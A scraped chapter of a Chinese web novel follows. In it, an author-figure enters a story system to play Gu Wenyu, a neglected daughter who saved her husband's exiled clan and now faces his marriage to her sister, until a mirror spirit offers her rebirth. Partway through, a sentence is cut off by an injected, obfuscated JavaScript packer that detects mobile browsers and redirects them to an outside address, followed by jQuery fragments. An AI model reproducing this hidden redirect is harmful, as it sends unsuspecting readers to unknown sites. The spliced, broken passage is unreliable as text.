默认冷灰
24号文字
方正启体

1. 第1章 焚心

作者:央墨本书字数:K更新时间:
    柳轻絮知道,倘若她笔下的任何一个人物知晓自己身处的世界是一本小说,而她柳轻絮则是这一切的造物主,那么她们都必然是会恨她的。


    恨她为何将她们抛入跌宕无常的命运中,却吝于给她们半点筹码。


    可事实上,只有柳轻絮知道的是,她作为小说世界的创世神、一位严厉苛刻的母亲、一名慈悲无声的观众,她所给予自己女主角们的东西,远超她们自身的想象。


    ·


    【抽卡中……抽卡成功!】


    【您抽到的故事为:《心火》。本次难度等级R。】


    【您需[演绎]的女主角为:顾闻玉。本次难度等级R。】


    【第一场:摄政王府,听玉院,摄政王王妃卧房内。】


    【场景演绎中……】


    ·


    听玉院,摄政王王妃卧房内,顾闻玉正独自一人,对镜梳头。


    今晚,她没有叫任何丫鬟进来,也没有任何丫鬟会进来。


    只有她独自一人,在空荡荡的主母卧房里,持着木梳,对着镜子一下一下给自己梳头,从发根梳到发尾。


    她的力道很重,扯得头皮都在发疼,痛得她的眼泪几欲滚落。可它们到底没有滚落,只在顾闻玉的眼眶里摇摇欲坠,被她一次又一次地忍回去,维系着她最后的尊严。


    但柳轻絮知道,顾闻玉必然是恨的。


    因为和她相濡以沫十三年的夫君——从天之骄子坠落泥塘,变作狼狈不堪的一介流犯,后又投身军营东山再起,最后权倾天下,成为挟天子以令诸侯的摄政王杜宏云,明天就要迎娶侧妃了。


    并且那侧妃不是旁人,正是顾闻玉寡居娘家的二姐姐,顾珍玉。


    而在今日白天,顾闻玉的娘还登了她的门,劝了她一整天。


    这是宋母在顾闻玉出嫁的十三年后,第二次登她的门。


    上一次登门,是顾闻玉夫家全族被流放的那一天,也就是顾闻玉出嫁的第二天。


    那一天,顾闻玉拉着自己亲母的手,哭得满是惶恐与绝望,满心都是对未来和对流放之路的恐惧。


    她哭道:“阿娘,你救救我,你救救我!我本是坐错了花轿,才替二姐姐嫁过来的,可昨晚我已经同姐夫说清楚了,今日就会各归各位……你救救我啊,阿娘,不该是我被流放的,该流放的人不该是我啊!”


    但她的亲娘听了却勃然大怒,用力甩开了她的手:“什么叫做该流放的人不该是你?你想说什么?闻玉,你怎么这么恶毒?你怎么会想到要让你体弱多病的二姐姐替你走这一遭?!”


    顾闻玉声音尖利:“可我本就不是杜家妇!我的夫君分明是崔家郎!”


    宋母厉声斥道:“莫要再说这等话了!你姐姐昨夜已经嫁了过去,而你也已经嫁进了杜家!如今木已成舟,难道还能再把你们调换过来吗?


    “此等上错花轿进错门的事,阴差阳错间,本就是命运弄人,谁能先明?又能去怪谁?


    “闻玉啊,我的女儿,你莫要这般偏执,也莫要对我们心生怨恨,觉得当娘的不肯救你,哪个做母亲的,舍得自己的女儿陷入火坑?


    “可这世间的女子,向来是嫁鸡随鸡嫁狗随狗,你是杜家妇,杜家全族被流放,你自然也只有跟去的道理……反正,你对这种事总是熟悉的。


    “闻玉啊闻玉,不是当娘的不帮你,是你命该如此,命该如此啊!”


    十三年前的话犹在耳。


    十三年后,当顾闻玉吃尽了流放路上的辛酸苦楚,好不容易盼到杜宏云翻身成为救国救民的大将军,后又随杜宏云返京为杜家翻案,被小皇帝封为摄政王王妃。


    顾闻玉本以为,她熬了十三年,在流放路上历尽无数生死磨难后,如今总算熬到了苦尽甘来,熬到了云开见月明,接下来的后半生,应都是享福的好日子了。


    可她那位无数次向她发誓必不负她的好夫君,却带着他向小皇帝求下的赐侧妃的圣旨归家了。


    之后,便是宋母的二登门。


    而这一次,她的好娘亲,是这样同顾闻玉说的:


    “当年你二姐姐与摄政王青梅竹马,两小无猜,本就该是你二姐姐嫁入杜家,若不是你年幼贪玩,上错了花轿,又岂会害得你二姐姐嫁错郎君,蹉跎了这些许年,甚至险些为那短命的崔家郎陪葬?


    “你占了你二姐姐的好处,她宽宏大量,这些年来也从未怪过你、与你计较。如今,她以侧妃之身嫁进王府,既是为了将当年之事拨乱反正,也是给你做脸,否则你以为,凭你的本事,你真能坐得稳这个王妃之位吗?


    “这世间有能力的男人,向来是三妻四妾的,以摄政王之权势,他日后必定会有无数妾室填充后院。而闻玉你,中人之姿,样貌平平,本就不容易讨你夫君欢喜,以前你们还在流放时尚且不提,可如今杜郎君成了摄政王,他怎可能还会为你守身如玉?


    “既然如此,让你二姐姐进来抓住摄政王的心、为你分忧,照拂于你,岂不好过让那些想把你从王妃之位拉下来的狐媚子进门作妖?


    “听娘的话,我的儿,这世上当娘的,哪有害女儿的呢?你二姐姐也是挂念着你、让着你,才以侧妃之身进府照拂你啊!


    “你若是不知好歹,执意不肯让你二姐姐进府,执意要给你二姐姐和摄政王难堪,你可知晓后果?你难道就不怕摄政王一怒之下,将你贬妻为妾、甚至一纸休书休了你?!


    “闻玉啊闻玉,不是当娘的偏心,而是你命该如此,命该如此啊!”


    命该如此。


    命该如此?


    当时的顾闻玉木然听着,沉沉地想着。


    是啊,是啊,或许真是命该如此吧。


    若不是“命该如此”,怎的顾家的五个孩子里,四人都好好的,唯有她自小就被拐了去,摸滚打爬,吃尽世上的无数苦头?


    若不是“命该如此”,为何顾家的孩子里男女都长得俊俏,独她生得平平,又因六年被拐的经历而越发粗野,没有半点大姐姐和二姐姐的扶风之姿?


    她顾闻玉,因自小相貌平平,不受父母关爱。六岁那年,她好不容易有了一只喜欢的兔子花灯,却又被大哥强行拿走,送给同样喜欢兔子花灯的大姐姐。


    那一刻,无数委屈涌上心头,她在人群中掉头就跑。


    可跑了数步后,她又停了下来,回头去看,盼望有人念她、找她、担心她。


    可无人追来。


    只有寥寥两句话语,随风飘荡。


    “小妹着实任性,这么一点小玩意也要争抢,不懂得礼让长姐,半点没有闺秀的模样!”


    “既然小妹跑了,就让她独自一人冷静一下吧。”


    瞧,没有人担心一个六岁的孩子与家人分散后,认不认得回家的路。


    甚至没有人想过一个孩子会在人潮汹涌的花灯节上遇到什么。


    所以理所当然的,顾闻玉被人贩子抱走了。


    又后来,顾闻玉费尽心思逃跑了,一直跑了六年,直到十二岁时才历尽了千辛万苦,成功回到顾家。


    当她站在阔别六年的顾家门前,捏着无论走得多难多苦都不肯当掉的顾家玉佩时,她的眼泪瞬间便糊了满脸。


    她以为,父母这些年对她的想念,应当与她对父母这些年的想念一般。


    她还以为,此次回到顾家后,必定能得到父母和兄姐的全心愧疚,全部爱护。


    她会把自己这些年为了回家而遭受的苦难,全都告诉他们,但她不会说得太真切,免得他们心疼。


    她还会好好珍惜有家的日子,再不会与姐妹争抢,不会不懂礼数,不会让父母和兄姐失望。


    她甚至还想,若相认时大家哭得太痛心太凄惨时,她要说些什么才能把大家逗得破涕为笑。


    但她唯独没想到的是,当顾家确认了她的身份后,她迎来的并非想象中与亲人久别重逢后的抱头痛哭,而只有几滴浅浅的泪水,和几句深深的责怪。


    大哥哥说:“小妹,当年若不是你任性出走,怎会被拐六年,连你大姐姐出嫁都没赶上?你可知大姐姐远嫁时,心中有多自责、多担心你?”


    二哥哥说:“小妹,你这次回来,定要多花些时间学些礼仪才好,否则出了门,丢的是大家的脸。”


    二姐姐说:“小妹,听说你当年与大姐姐发生口角,是为了一盏上不得台面的兔子灯……哎,我真不知该如何说你。若我不说、不训诫于你,怕是失了作为姐姐的管教之责;可我若说了你,你又一去不回,可怎生是好?”


    就连娘也说:“闻玉啊,当年你便生性顽劣,头脑愚笨。诗书礼仪,比不过你二姐姐,绣花御下,比不过你大姐姐,而如今,你又在外流落,空耗了六年时光,日后还不知能嫁去怎样的人家,就连二姐姐都要被你的名声拖累……闻玉啊闻玉,你叫为娘的如何是好啊!若你当年——也罢也罢。”


    也罢什么?


    是怪她当年“任性被拐子拐走”?还是怪她——在被拐子拐走后,竟又自己找了回来?


    顾闻玉不知为何,明明她见过那么多认祖归宗的孩子,见那些孩子被父母找到、与家人团圆时,父母们脸上的痛惜与爱怜是那样清晰、直击人心,让顾闻玉这个旁观者见了,都不由得潸然泪下。


    可当顾闻玉置身其中之时,她竟半滴眼泪都掉不下来,只有一股说不清道不明的情绪横亘在喉间,吐不出来也咽不下去。


    她想,或许是自己离家太久了,所以比不得兄长姐姐们同爹娘的情谊,这也是人之常情,毕竟人心是肉长的,会偏爱与自己相处更久的孩子也是常理。


    她还想,自己或许就是没有与父母的缘分,但没关系,好生活是自己经营出来的。


    女子嫁人就如同第二次投胎,所以,只要她擦亮眼睛,嫁个好人家,她就会有新的家人、新的未来、新的人生。


    所以,不用在意,未来还那样长,她总会遇到爱重她珍惜她的人的。


    抱着这样的想法,顾闻玉努力活着,努力经营自己的人生。


    哪怕遇到上错花轿这样如天塌般的大事,哪怕在上错花轿的第二天就遇到全族流放这样当真天塌了的大事,顾闻玉也不肯放弃希望。


    她想,当年她六岁被拐子拐走后,都能一步步


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16399996|184353||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    找回家,没理由十五岁的自己过得反而比六岁的自己更差啊!


    于是,她把自己当作了真正的杜家妇,在流放的路上照拂全族。


    她重拾自己年幼时就学会了的东西:分辨野菜、打猎割肉、劈柴烧灶、搓绳编帽、去腐止血……


    她把杜家全族人都好好地带到了流放地,并教导身为罪奴的他们怎样开荒种田、垒墙造屋,鼓励他们不论什么时候都不要放弃希望、都要过好自己的日子。


    她救了杜家全族人的命,并且救了他们不止一次。


    哪怕是日后的大将军、摄政王杜宏云,也在流放的第一年数次历经生死。


    杜家人多年娇生惯养,没人指望得上,最后是她顾闻玉仗着自己力气大精神足,白日为人洗衣劈柴,晚上为人耕地扒草,日夜不休,才成功攒下钱,给杜宏云看病的。


    而后,当杜宏云进入军营拼搏前程,却没想一去十年杳无音讯时,也是她留在家中孝敬公婆、帮扶全族,最后在杜家全族人的交口称赞下,送走体弱多病的公婆的。


    顾闻玉做得很好,好到无可挑剔,好到杜宏云即便以大将军的身份归家后,也必须要向她低头,握着她那双与山野村夫没什么区别的手,含泪说一句“辛苦我妻”,说一句“此生我必不负你”。


    而事实上,杜宏云的确没有“负”她。


    因为杜宏云在重回京城时带上了她,而没把她这个无盐丑妇独自抛在流放地或路上,这是情深意重。


    在杜宏云成为摄政王后,他也请旨,将顾闻玉封为了摄政王王妃,而不是让她这个老妻自请下堂,这是有情有义。


    所以,哪怕杜宏云在请旨封顾闻玉为王妃的同时,还要迎娶顾珍玉为侧妃又如何?


    这点子小事,哪里值得拿出来说了?


    这做人啊,最重要的是知足。


    她顾闻玉如今好不容易苦尽甘来,有了一位权倾朝野的好夫君,有了一眼就能看出荣华锦绣的未来,她还有什么不知足的呢?


    顾闻玉的母亲这样问她,顾闻玉的夫君这样问她,顾闻玉的兄长姐姐这样问她,就连她回京路上救下来的丫鬟都这样小声问她:


    你还有什么不知足的呢?


    是啊,就连顾闻玉自己都问自己,还有什么不知足的。


    可那股说不清道不明,擦不去抹不尽的心酸、委屈、不甘、不愿,就是这样横亘在顾闻玉的喉咙里,吐不出来,也咽不下去。


    哪怕旁人一遍又一遍地用言语、用眼神、用动作告诉她,这就是你顾闻玉的命:


    谁叫你头脑愚笨,没有才名?


    谁叫你没有美貌,五大三粗?


    谁叫你不受喜爱,生不逢春?


    谁叫你——命该如此?!


    “可我……不想认命。”


    飘摇的烛火中,顾闻玉看着镜子里那张明明不到三十,却因多年劳作、饱经风霜,而令本不秀丽的面容越发像是老妪的脸,眼眶里摇摇欲坠的泪水终于跌落。


    “我不想认命。”


    “这——不该是我的命!”


    【那你想要如何?】


    倏尔,紧闭门窗的卧房内,烛火无风自动,一个如鬼魅般的声音幽幽响起。


    【你说你不想认命,那你又想要怎样的人生、怎样的结局?】


    “谁?!”


    顾闻玉吓了一跳,回身望去。


    可屋子里空荡荡的,什么都没有。


    顾闻玉怔愣片刻,以为是自己伤心过度之下的幻觉。


    可当她回过身,再次看向镜子里的自己时,她看到镜中人突然抬眼,对她粲然一笑。


    【想好了吗?关于你想要的未来。】


    顾闻玉骇然变色,蓦地起身,撞倒了凳子,发出了哐当一声巨响。


    可门外的丫鬟仆妇们,分明听到了这个声音,却没有一个人前来敲门,没有一个人上来问她一句。


    这一刻,那吐不出来也咽不下去的东西,再一次梗在顾闻玉喉间。


    镜中的鬼魅笑了起来,像是怜悯,又像是讥嘲。


    【瞧,这就是你的人生——失败,且毫无价值。】


    【你吃进去的是草,挤出来的是血,一生都如牛马一样为旁人辛劳奉献。】


    【你以为只要你付出就会得到回报,以为擦亮眼就能改变命运,以为世事不负有心人,以为真情总不会被辜负。】


    【可事实是,你的多年辛劳被旁人坐享其成,一生都在为他人做嫁衣。你费尽心力才得到的东西旁人抬抬手就能得到,并且弃如敝履。你总是在擦亮眼,总以为自己有选择,可如今美梦在你眼前破碎,你终于明白,哪怕你擦瞎了眼,都抵不过一句“命该如此”!】


    “你到底是谁?!”顾闻玉激烈打断,全身都在颤抖,近乎歇斯底里,“你到底想做什么?!”


    【我是谁?】


    镜中的鬼女低笑一声,抬眼看向顾闻玉。


    明明是一张与顾闻玉同样的脸,此刻却偏如新生的太阳,熠熠生辉。


    【我是你的神启。】


    【我带你走向新生。】
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)